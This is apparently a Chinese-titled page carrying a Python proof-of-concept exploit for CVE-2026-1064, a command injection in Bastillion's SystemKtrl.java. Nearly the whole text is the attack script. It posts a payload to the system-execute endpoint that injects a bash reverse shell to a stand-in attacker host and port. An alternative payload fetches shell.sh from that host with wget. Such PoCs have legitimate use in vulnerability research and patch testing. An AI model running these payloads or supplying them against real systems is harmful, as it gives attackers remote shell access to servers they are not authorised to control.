CVE-2026-1064 Bastillion SystemKtrl.java命令注入漏洞

import requests import json # CVE-2026-1064 PoC - Bastillion Command Injection # Target: Bastillion <= 4.0.1 # Component: SystemKtrl.java (System Management Module) TARGET_URL = "http://target.com/bastillion" ATTACKER_IP = "attacker.com" ATTACKER_PORT = "4444" def exploit_cve_2026_1064(): """ Exploit for CVE-2026-1064: Command Injection in Bastillion SystemKtrl.java Attack Vector: POST request to SystemKtrl endpoint Required: High privilege account authentication Payload: Command injection via system management parameters """ # Construct malicious payload with reverse shell command # Inject command: bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 payload = { "action": "executeCommand", "systemId": "1", "command": ";bash -i >& /dev/tcp/" + ATTACKER_IP + "/" + ATTACKER_PORT + " 0>&1 #" } # Alternative payload using backticks for command injection alt_payload = { "action": "executeCommand", "systemId": "1", "command": "`wget http://" + ATTACKER_IP + "/shell.sh`" } try: # Send exploit request response = requests.post( TARGET_URL + "/api/system/execute", json=payload, verify=False, timeout=10 ) print(f"[*] Payload sent to {TARGET_URL}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Check for reverse shell on " + ATTACKER_IP + ":" + ATTACKER_PORT) else: print("[-] Exploit may have failed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2026-1064 - Bastillion Command Injection PoC") print("=" * 60) exploit_cve_2026_1064()